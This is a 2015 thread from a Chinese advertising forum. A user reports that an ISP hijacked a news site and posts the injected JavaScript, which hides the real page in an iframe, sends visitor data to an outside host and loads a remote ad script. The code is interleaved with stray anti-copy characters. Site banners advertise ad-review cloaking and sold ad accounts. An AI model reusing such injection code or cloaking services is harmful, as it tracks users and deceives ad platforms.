AdvertCN - 广告中国

 找回密码
 立即注册

QQ登录

只需一步,快速开始

PropellerAds
Google-Bing-Mediago-Criteo开户
⚡️按条S5代理⚡️静态⚡️独享⚡️5G广告专用虚拟卡/U充值/高返点皇家代理IP⚡️#1性价比⚡️
Mediabuy⚡️玩家开户首选【鲁班跨境通-自助充值转账】FB/GG/TT❤️官方免费开户Affiliate 全媒体流量资源⚡️
Taboola/Outbrain /Bing⚡️一级代理开户投流-7*24h❤️人工在线【官方】❤️搜索套利买量投流开户独立站⚡️开户投放
⚡️AdsPower:安全不封号,高效自动化Google FB TK游戏代投⚡️E.PN 虚拟卡⚡️BINOM TRACKER 60% OFF!
比Adplexity还好用的Spy工具ADPLEXITY + ADVERTCN7200W全球动态不重复住宅IP代理虚拟信用卡+独立站收款
全球虚拟卡, 支持U充值各种主页、账单户、BM户(优势)⚡️TikTok企业户,bm户,账单户IPCola原生住宅IP⚡️$1.8/条双ISP
FB海外户、GG老户、TK加白老户PTM虚拟卡[全新卡BIN+高返点]FB虚拟卡⚡️消费越多返现越多最大欧洲Nutra网盟BA找量
高品质·稳定高速纯净IP FB个号1块一个TikTok2审户/老户/国内外端口/加白SX.ORG 高质量代理⚡235+ 地区
GG,FB,TK, 欧美源头, 欢迎合作❤️跨境债务催收/风险代理高权重Google老户[卖户+筛户等级] 海外斗篷・智能广告过审率高达 99%
DataImpulse⚡️纯净住宅代理仅 $1FB企业户海外户,授信户,TK加白户广告位出租8500万高质量住宅IP,助力各种需求
虚拟卡返佣1%,国内持牌机构   
查看: 8764|回复: 12

[闲聊] 上网奇遇记

[复制链接]

44

主题

772

广告币

1423

积分

高级会员

Rank: 4

积分
1423
发表于 2015-2-3 00:52:03 | 显示全部楼层 |阅读模式
本帖最后由 hudba 于 2015-2-3 00:56 编辑   d5 e4 a  M2 H2 L8 G3 ?

+ Z3 _+ z: s* T% i) y$ }上网易看新闻半天打不开,发现状态栏在现实访问一个奇怪的域名。心里一惊,难道电脑中毒了?赶紧查看源代码,发现后面加了一段js,真正的新闻内容给iframe了
* T8 G9 d1 `0 C' ~$ R: W+ b5 u: Z
接下来就是去搜索这个域名,得到v2ex里面也有人遇到这个问题,原来是运营商搞的鬼{:soso_e131:}
( I( c( b# V& A/ a8 Y  r
https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8
http://www.v2ex.com/t/142197

  d6 Q# x( L; ]+ G8 P" S8 P; M4 l1 R; S. g& z3 t
顺便查下ip138:6 _7 p- a3 g3 ^( Q1 U
2 O) X% w7 |, W: r( q
这是那段js里面的代码,好象是个半成品还没写入广告数据:
: O9 O3 A; J) ^  x3 C. R% {( z. F
  1. function locationSearch() {$ w) v9 w9 g6 J/ G" O1 |
  2.         var s = getMainJs();
    2 B' r% F, H( R% y5 p7 l7 x
  3.         if (s == null) {
    & w' k7 N( {# d! j3 ?$ M! e) [. F0 M
  4.                 location.reload();0 X' L# a6 s% A3 j5 |5 t- W0 d' ]
  5.         }0 c7 [" q5 h7 _# Z, R! p& U
  6.         return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);
    . e: I% @# i* V' T' m3 h
  7. }' H9 {1 v& r( l" d/ ]
  8. 7 }9 P3 K. x: M* M$ A, I+ A
  9. function getParameter(name, paraStr) {
    & m! E' M0 [  ]0 Z6 s& l+ g
  10.         var result = "";& W8 J6 N" r" P3 ^4 U+ e9 L
  11.         var str = "&" + paraStr.split("?")[1];2 O  q7 ^/ S" `" c
  12.         var paraName = "&" + name + "=";+ u2 J- l) A' Y2 J9 a; h* |5 Q" B
  13.         if (str.indexOf(paraName) != -1) {) q9 o% E+ J8 K: H4 u- `
  14.                 if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {
    : w' `- D6 o# Q& U) d9 {+ p
  15.                         var TmpStr = str.substring(str.indexOf(paraName), str.length);
    2 ^0 A  A/ Q$ ]6 n# E& [: G
  16.                         result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(
    : m+ R( h% ~) \' U+ i9 a
  17.                                         1, TmpStr.length).indexOf("&")
    ( S# A( a- {  ^6 k& ^; n, a
  18.                                         - TmpStr.indexOf(paraName) + 1);
    ! ^9 h. t  r6 E3 |; K
  19.                 } else {. r$ S, L8 {& Y8 r6 ?* o4 l3 v0 _
  20.                         result = str.substring(str.indexOf(paraName), str.length);8 D5 n3 f5 {* |/ V2 E9 v
  21.                 }$ J2 M4 f( T8 Z' C. Q2 s) b. ?0 _% v

  22. 5 o# s' y) A  B
  23.                 result = result.substring(result.indexOf("=") + 1, result.length);
    % d: i$ i& x1 M' U2 Q
  24.         } else {6 s4 i- I: e7 y9 {* s$ K2 K4 z
  25.                 result = "No such parameter";$ Q( e9 E. K; ?8 Z( k+ p
  26.         }; b! f$ Q& c2 a9 s5 I5 M
  27.         return (result.replace("&", ""));
    & g& ^3 a& g' w4 N' K( ~; v% K
  28. }
    5 e. ~* \+ n: |: G. p, _
  29. 1 S; ^( `3 [9 {; y. X) l) l
  30. function getMainJs() {
    ; N* u/ ]- E" |$ `% o
  31.         var scripts = document.getElementsByTagName("script");
    , v$ E1 f4 b4 b8 g7 Z  I$ T* }
  32.         var s = null;1 H6 I( z  V' O/ q1 z
  33.         for (var i = 0; i < scripts.length; i++) {, Q) k8 J; D/ \" v5 ~. \2 F* t* ?
  34.                 if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {; N) v# P) q: k
  35.                         s = scripts[i];) x7 u# M8 V  n( q$ B
  36.                         break;& S  g, O% o2 n2 J
  37.                 }
    ! r8 X' j! O2 ]: Z! D! t
  38.         }
    7 g8 f+ _( [) N" x' k1 y
  39.         return s;
    4 i7 x  J. x2 S4 E# }) |
  40. }
    5 W* B0 r& C. B6 j. A  V' O2 j2 `

  41. 2 B4 B' b# x2 u( \) ]
  42. function appendParam(oStr, aStr) {. U* n8 H" G0 J! u9 B- r
  43.         if (oStr.indexOf('?') > 0) {
    ! `8 K& r' D8 W
  44.                 oStr = oStr + "&" + aStr;: o. j( K* k. H. [: S: b1 L) ^
  45.         } else {
    1 ?2 l2 b$ C4 h7 f
  46.                 oStr = oStr + "?" + aStr;1 ~/ o$ @" E5 G' O) \/ f1 l
  47.         }% S, r; G+ @1 G  C
  48.         return oStr;! u1 h/ \6 ^# i5 N
  49. }3 h" _5 @' H1 I0 L% l, J

  50. 1 f6 n- b+ v8 ?- |
  51. window.onerror = function() {8 [! |% Q2 u6 P) |3 h
  52. };
    # Q% I0 j$ C' e$ ?/ q
  53. 2 c6 W6 v# [! z4 P
  54. var g_titleTime = 0;6 E- @8 Q9 s) R) V/ |
  55. function setTcTitle() {
    ) D' O# C* n9 a  U: o* V9 _0 q0 P
  56.         if (undefined == document) {
    8 ^( f  Q) p' T% h" H, d4 m
  57.                 g_titleTime++;
    9 l; Z+ K4 ]: |) o7 C0 v# b
  58.                 setTimeout("setTcTitle();", 1000);
    9 n; l. x, f6 j9 x# ?
  59.                 return;
    4 K3 K4 x% D( p6 C& S. x
  60.         }
    * s6 s+ N+ b+ P& [. k

  61. ; P) y1 K" M3 q2 T/ S
  62.         var doc;
    3 X7 I, o7 N/ O: S: A$ F! Y& ]
  63.         try {
    / t+ s9 w6 p8 p' `$ k  K8 Z4 q- f2 C, z# T
  64.                 if (document.all) {8 q; d, q2 x& R* F/ p& B
  65.                         doc = document.frames["cn"].document;
    - f* i# t! B) N
  66.                 } else {8 v7 P$ b. z2 y6 F* l
  67.                         doc = document.getElementById("cn").contentDocument;
    ! Y) H; y' p) N; E- C. _  c! b* `
  68.                 }
    + E' z/ ?/ X. p$ ^( \
  69.         } catch (ex) {1 v  l1 W3 P. ]  Y; F
  70.         }$ F2 O2 T; f" A, H7 m' q! E* T

  71. # O% k, @, r6 I9 n( N3 t6 `
  72.         if (g_titleTime < 5
    - D" m# x7 E+ T$ ?) M
  73.                         && (undefined == doc || undefined == doc.title || "" == doc.title)) {8 v7 ^9 X( {0 U* i- b2 I
  74.                 g_titleTime++;
    + f: n3 A' b( x8 e# M; ?
  75.                 setTimeout("setTcTitle();", 1000);: u/ Q) O1 X/ D. s/ _0 b
  76.                 return;) P- p% O0 I2 G9 C
  77.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
    ) v( t+ r% b6 \2 I& F$ ?
  78.                 document.title = doc.title;& A1 o2 X+ K3 x! s
  79.                 setTcAdvVisible();
    - ~) D3 [+ q4 g) R% E( S
  80.         }/ U9 |: {* I+ E1 q4 M1 ]6 h- V0 T
  81. }
    ! ?4 T8 w' _. x) j
  82. 8 g0 S/ u4 t* ~$ @  ~! q
  83. setTimeout("setTcTitle();", 1000);
    1 I5 H2 Q5 {1 D

  84.   l. T3 G; S7 `: T) h
  85. var g_isHaveVisible = false;6 D; x. e' b4 W, b0 r7 {3 q7 ]
  86. function setTcAdvVisible() {0 F  r0 Q; ~4 z2 K/ W
  87.         if (undefined != document && undefined != document.getElementById("addiv")0 V2 R2 n+ E& z7 a( c
  88.                         && !g_isHaveVisible) {: t# c; a: G2 _7 h8 _. D
  89.                 document.getElementById("addiv").style.visibility = 'visible';
    3 l; ]5 Z7 [2 T
  90.                 document.getElementById("addiv").style.display = 'block';! B  M1 E2 a+ N3 I" h
  91.                 g_isHaveVisible = true;
      \' i& R2 F9 p* x
  92.         }
    3 b# P% i5 d& c. @0 n* f1 N
  93. }
    7 ^. B. Z2 P' t8 _0 V. j

  94. 7 ~$ v* g8 u+ p9 A  u1 e+ ]
  95. function UrlAnalyzer() {- `! K/ V( b2 |) C5 R
  96.         this.divda = "";. a, r6 F* `" `. h
  97.         this.tctype = "";7 m- z1 |+ ?) S! D- k. j8 W' {
  98.         this.radius = "";
    / z( q, }9 X3 c' _5 T) f" j8 x
  99.         this.rlu = "";
    , b7 ~- K( k+ K
  100. }
    # w: Q4 |" W6 A, W  Q

  101. : P# l/ f9 \4 z& b' s
  102. UrlAnalyzer.prototype.initParameters = function() {# d. O: O! z$ J/ \% k: y$ V
  103.         var paraStr = locationSearch();
    8 Q& H. G9 v! _) ?% M! u
  104.         this.rlu = getParameter("lruedct", paraStr);
    8 ?; U7 X* v5 \, S: ]$ l
  105.         this.divda = getParameter("divda", paraStr);
    / B. a5 A8 p8 m" O1 K# w. r! a
  106.         this.radius = getParameter("radius", paraStr);
    1 F. A4 w0 f" x$ p+ z2 Q
  107.         this.tctype = getParameter("tctype", paraStr);/ b" Z9 Y! B8 Z! J  U7 @2 @) B3 e( l% I4 y
  108.         this.address = getParameter("address", paraStr);
    $ a0 T9 {4 A8 z7 J# t
  109.         this.usagent = getParameter("usagent", paraStr);$ u, }2 E# y4 z0 |2 D
  110. }
    * M: \  m" Y  f
  111. 2 P6 K5 `: W' u! q! t: _
  112. UrlAnalyzer.prototype.getHtmlDoc = function() {, ?% g2 U7 A  @
  113.         var doc;
    . ]) \/ ^+ [  J7 [
  114.         try {1 c, R4 u5 T. t# T# p
  115.                 if (document.all) {
    - o% z0 G2 C1 f* J3 a; d
  116.                         doc = document.frames["cn"].document;
    . [# Z2 }2 P3 ?: @' t8 F
  117. $ Y3 T: q$ k, K% K( F1 V
  118.                 } else {* ]+ p! B' `1 U/ g+ f
  119.                         doc = document.getElementById("cn").contentDocument;2 {& F# @7 V  ~$ P6 t
  120.                         // doc = document.getElementById("cn").contentWindow.document;, Z1 ~3 E6 n# D
  121.                 }% S$ c) _) d3 n$ q" X# b# U$ s9 D
  122.         } catch (ex) {
    - H3 @* E+ \: Y5 Q
  123.         }, W$ H& p5 N- O7 h$ }  ~8 v& {
  124.         return doc;3 f# c' f6 b/ C
  125. }8 r% N& O  k0 k0 k: `
  126. % d8 H$ Z& p& H- e% G8 z- k
  127. UrlAnalyzer.prototype.setDomain = function() {) c% d+ Z  m) s3 F/ Z. t* I' I
  128.         if (undefined != document.title && "" == document.title)# s* p* ^* r* i) L
  129.         {/ [  ]+ J, V7 [5 \8 F; x' }) q
  130.                 var index = document.domain.indexOf(".");
    # x: l3 r5 W/ v5 v, j6 A' h
  131.                 if (undefined != index && -1 != index) {) a+ Y# h$ x8 G4 K2 E# K, n0 w
  132.                         document.domain = document.domain.substring(index + 1,
    : ^. s  ^& n; Z3 D" z0 G
  133.                                         document.domain.length);
    4 E& U" j, X! Q7 T( D/ P! x( c
  134.                 }
    ) g$ D- U- c; [* o5 k
  135.                
    & `  Z& [$ R$ ^
  136.                 var doc = this.getHtmlDoc();
    6 c: P6 K+ b* D2 _$ g  |# x( ~
  137.                 if (undefined != doc && undefined != doc.title && "" != doc.title) {4 {0 W5 _$ y4 ~. M2 Q
  138.                         document.title = doc.title;
    9 G) O: J: U; A" j
  139.                         setTcAdvVisible();: d" F, e+ r% |
  140.                 }% x! ^: T* d. g  ?
  141.         }
    2 V" R2 X4 ]3 h
  142. }9 N, v7 U: B; Z% [

  143. # X- i8 v4 [3 x1 U/ W& }
  144. UrlAnalyzer.prototype.iframeCallback = function() {
    8 p! ~$ X( l* Q- `
  145.         var doc = this.getHtmlDoc();6 Q/ z) g. i8 C9 w% K4 Z# V. s. B+ d
  146.         if (undefined == doc || undefined == doc.title || "" == doc.title) {
    9 }! r, F8 }9 R8 e" T2 }* M) Y+ U
  147.                 if (undefined != document.domain) {
    ; w& _# T2 U6 ~$ W9 X8 d

  148. : `1 \/ f, H) u; d3 k
  149.                         var self = this;1 y) z* ~  \. j. `- Q: c
  150.                         setTimeout(function(){self.setDomain.call(self, null)}, 1000);
    # t' q6 s! V5 m# M$ ]2 _! n
  151.                         // var index = document.domain.indexOf(".");
    + D( A% j; r2 n$ X' B
  152.                         // if (undefined != index && -1 != index) {
    3 s  n. I. f6 f. x' A
  153.                         // document.domain = document.domain.substring(index + 1,
    5 _0 h: z! \( Z& @: \& v2 {
  154.                         // document.domain.length);" u- K$ G5 N2 Y
  155.                         // }- {. i7 i) z1 z8 z: C$ T8 y
  156.                         //
    $ G" V$ b' s$ i, N
  157.                         // var doc = this.getHtmlDoc();) e/ t- Z7 l  f; {- z
  158.                         // if (undefined != doc && undefined != doc.title && "" !=6 P" @" [+ ~% E, o7 T1 u
  159.                         // doc.title) {
    : b; w5 F9 n7 B: T1 _1 z8 F
  160.                         // document.title = doc.title;# t1 o; v5 p- z  K4 D3 j" {
  161.                         // setTcAdvVisible();
    + S# b& t) v! N$ f- ^, A, _
  162.                         // }2 o5 w- t6 l( x* A) F# U% m
  163.                 }
    ; @+ }4 M, ]) f9 v5 j
  164.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {0 p) m4 L/ H! W- f' Z
  165.                 document.title = doc.title;! ?: E/ \1 Y+ J7 K! c
  166.                 setTcAdvVisible();1 ], N3 y+ y7 l' l8 R. [- S
  167.         }# G7 y2 B/ j: k/ n  I0 j
  168. }
    9 u7 t# E  Z7 C1 A8 j+ `, P
  169. 1 {) W0 k' q6 [* M4 N# c' i( H
  170. UrlAnalyzer.prototype.executeHtmlContext = function() {
    ) G! d3 w2 h! u$ R" v
  171.         var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda7 i6 U/ \% H3 l7 d3 v5 N
  172.                         + "&rd=" + this.radius + "&tctype=" + this.divda  + "&address=" + this.address  + "&usagent=" + this.usagent;
    " M* d, W! r6 I6 X7 K1 C
  173. / C4 W8 j  t, Q! }6 C' K' P
  174.         var htmlStr = "<iframe src="" + staUrl: F- i/ R* N8 C
  175.                         + "" style="display:none"></iframe>";
    ' c+ S: L1 [" I: a
  176. ) N3 X) e$ S. c5 w
  177.         var advUrl = htmlStr2 Y5 F0 j- I5 A8 M
  178.                         + "<script src="http://c2.sxite.com:8060/center?advId="
    7 q; b( u& l" |! Z3 F- J3 ]$ ^
  179.                         + this.divda + "&radius=" + this.radius  + "&area=1" + ""><\/script>";
    : X5 {+ d& q( A7 {* H
  180.         document.write(advUrl);  ]/ `, i1 T" n5 G( O5 `

  181. # n" U  ^  T/ K' G6 n/ g1 E
  182.         var self = this;
    $ w0 S* _2 y/ s/ S. N7 Q
  183.         var iframe = document.getElementById("cn");
    : V0 Q6 v- j5 A/ w( I4 Q/ F+ z
  184.         if (iframe.attachEvent) {" h: {' n2 _9 ]. s$ i: ]
  185.                 iframe.attachEvent("onload", function() {/ y; @" m$ r* S2 g7 z+ f$ e
  186.                         self.iframeCallback.call(self, null);1 G' `( Q, p, X8 l
  187.                 });/ _0 V/ g- |$ N* T' P
  188.         } else {! V# t# x0 B) O0 H
  189.                 iframe.onload = function() {
    ' y! q8 G3 D& Z( \
  190.                         self.iframeCallback.call(self, null);/ E% f# J8 }' v( y! f6 _/ G
  191.                 }9 E9 r/ C' K+ l7 C
  192.         }3 F1 p' @  ^# V1 q- i" e! v
  193. }
    & M8 V+ D& ^% u2 q- e
  194. - f0 B* C+ W$ i
  195. UrlAnalyzer.prototype.executeMain = function() {! F/ ~6 S. u) L; L3 I6 I
  196.         var mainFrame = document.getElementById("cn");+ \1 n& ~  G9 l% N( D
  197.         mainFrame.contentWindow.location.href = mainFrame.src;
      J$ s6 e: O) x8 C, a  F1 k/ ^
  198.         this.initParameters();
    & \8 A: l8 }9 c9 {# x& K; B
  199.         this.executeHtmlContext();
    ( Z. e1 x% G% n" U, U7 H% V
  200. }0 c9 B9 N" o# g, V* H

  201. $ y/ W: K& p" \! Z, Q
  202. var g_analyzer = new UrlAnalyzer();, m5 X: J: f  l6 M; E7 e
  203. g_analyzer.executeMain();5 T* i) i- o" [  |3 F/ w
复制代码
! f- \2 J2 E' \/ p! C- f- q
6 B" x# N' P( h+ g8 w7 c: m  f

/ z1 h8 }- l/ k0 C+ F

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
相关帖子
回复

使用道具 举报

26

主题

836

广告币

1784

积分

高级会员

Rank: 4

积分
1784
发表于 2015-2-3 01:33:54 | 显示全部楼层
回复 支持 反对

使用道具 举报

52

主题

456

广告币

842

积分

中级会员

Rank: 3Rank: 3

积分
842
发表于 2015-2-3 04:58:09 | 显示全部楼层
我在想有没有大牛会去干电信那个网页,那就发啦。哈哈
回复 支持 反对

使用道具 举报

54

主题

9

广告币

6010

积分

禁止访问

积分
6010
发表于 2015-2-3 09:49:12 | 显示全部楼层
所以从不使用运行商的dns,http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错

点评

TCP劫持,换DNS也不管用的。  详情 回复 发表于 2015-2-3 21:26
回复 支持 反对

使用道具 举报

26

主题

348

广告币

595

积分

中级会员

Rank: 3Rank: 3

积分
595
发表于 2015-2-3 09:49:33 | 显示全部楼层
法制不健全,没法。我这里也有电信绑架的问题,但你没辙,要国外,早赔的只剩内裤了。
回复 支持 反对

使用道具 举报

22

主题

1730

广告币

2028

积分

高级会员

Rank: 4

积分
2028
发表于 2015-2-3 13:12:15 | 显示全部楼层
电信DNS劫持不是一天两天了。国家垄断企业,没人能管”。。。
回复 支持 反对

使用道具 举报

1

主题

70

广告币

498

积分

中级会员

Rank: 3Rank: 3

积分
498
发表于 2015-2-3 14:24:00 | 显示全部楼层
我这段时间也遇到了,投诉了两次,这几天没出现了,再出现继续投诉
回复 支持 反对

使用道具 举报

26

主题

836

广告币

1784

积分

高级会员

Rank: 4

积分
1784
发表于 2015-2-3 21:26:11 | 显示全部楼层
阿百川 发表于 2015-2-3 09:491 A2 _% i1 [: c2 Y. r
所以从不使用运行商的dns,http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错 ...

' B, N; q( ?; n8 [* v/ W5 FTCP劫持,换DNS也不管用的。

点评

正解。  发表于 2015-2-3 21:43
回复 支持 反对

使用道具 举报

54

主题

9

广告币

6010

积分

禁止访问

积分
6010
发表于 2015-2-4 07:36:43 | 显示全部楼层
ads419 发表于 2015-2-3 21:264 a5 Y% d7 }9 B4 z7 O+ p
TCP劫持,换DNS也不管用的。
9 t0 {% l1 A+ W7 E% l4 m# J4 W! g
幸好联通还木有这么强的技术

点评

联通也一样,各地不同罢了。  发表于 2015-2-4 10:07
回复 支持 反对

使用道具 举报

12

主题

915

广告币

1212

积分

高级会员

Rank: 4

积分
1212

社区QQ达人

发表于 2015-2-4 20:47:04 | 显示全部楼层
在国内,习惯就好
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关于我们|联系我们|DMCA|广告服务|小黑屋|手机版|Archiver|Github|网站地图|AdvertCN

GMT+8, 2026-4-4 20:46 , Processed in 0.053408 second(s), 15 queries , Gzip On, MemCache On.

Copyright © 2001-2023, AdvertCN

Proudly Operating in Hong Kong.

快速回复 返回顶部 返回列表